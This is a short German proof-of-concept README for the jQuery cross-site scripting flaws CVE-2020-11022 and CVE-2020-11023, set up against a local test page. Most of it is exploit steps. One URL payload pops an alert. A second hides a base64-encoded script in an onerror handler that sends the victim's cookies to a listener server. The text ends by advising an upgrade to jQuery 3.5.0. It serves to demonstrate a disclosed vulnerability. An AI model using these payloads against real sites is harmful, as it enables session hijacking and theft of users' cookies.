CVE-2020-11022 CVE-2020-11023

In jQuery-Versionen ab 1.2 und vor 3.5.0 kann das Übergeben von HTML aus nicht vertrauenswürdigen Quellen – selbst nach der Bereinigung – an eine der DOM-Manipulationsmethoden von jQuery (d.h. .html(), .append() und andere) nicht vertrauenswürdigen Code ausführen. Dieses Problem wurde in jQuery 3.5.0 behoben.

In jQuery-Versionen ab 1.0.3 und vor 3.5.0 kann das Übergeben von HTML, das <option>-Elemente aus nicht vertrauenswürdigen Quellen enthält – selbst nach der Bereinigung – an eine der DOM-Manipulationsmethoden von jQuery (d.h. .html(), .append() und andere) nicht vertrauenswürdigen Code ausführen. Dieses Problem wurde in jQuery 3.5.0 behoben.

Exploit

1. Hosten Sie die «index.php»-Seite auf einem PHP-Webserver. Ich empfehle sudo php -S 127.0.0.1:80, um schnell einen Server zu starten.

Einfaches XSS

2. Rufen Sie den Pfad http://127.0.0.1/?value=/%3E%3Cimg%20src=x%20onerror=alert(1)%3E auf.
3. Klicken Sie auf die Schaltfläche „Append via .html()“.
4. Sehen Sie den Popup-Alert.

Cookie-Diebstahl

2. Starten Sie einen weiteren Webserver auf Port 8085. Ich empfehle Python zu verwenden: sudo python3 -m http.server 8085.
3. Rufen Sie den Pfad http://127.0.0.1/?value=/%3E%3Cimg%20src=x%20onerror=eval(atob(%27ZG9jdW1lbnQubG9jYXRpb249Imh0dHA6Ly8xMjcuMC4wLjE6ODA4NS8/Yz0iK2RvY3VtZW50LmNvb2tpZQ==%27))%3E auf.
4. Klicken Sie auf die Schaltfläche „Append via .html()“.
5. Überprüfen Sie die Python-Logs und sehen Sie Ihr Cookie im Log.

Fix

Wenn Sie diese CVE in diesem Skript beheben möchten, ändern Sie einfach die jQuery-Version auf https://cdnjs.cloudflare.com/ajax/libs/jquery/3.5.0/jquery.js :)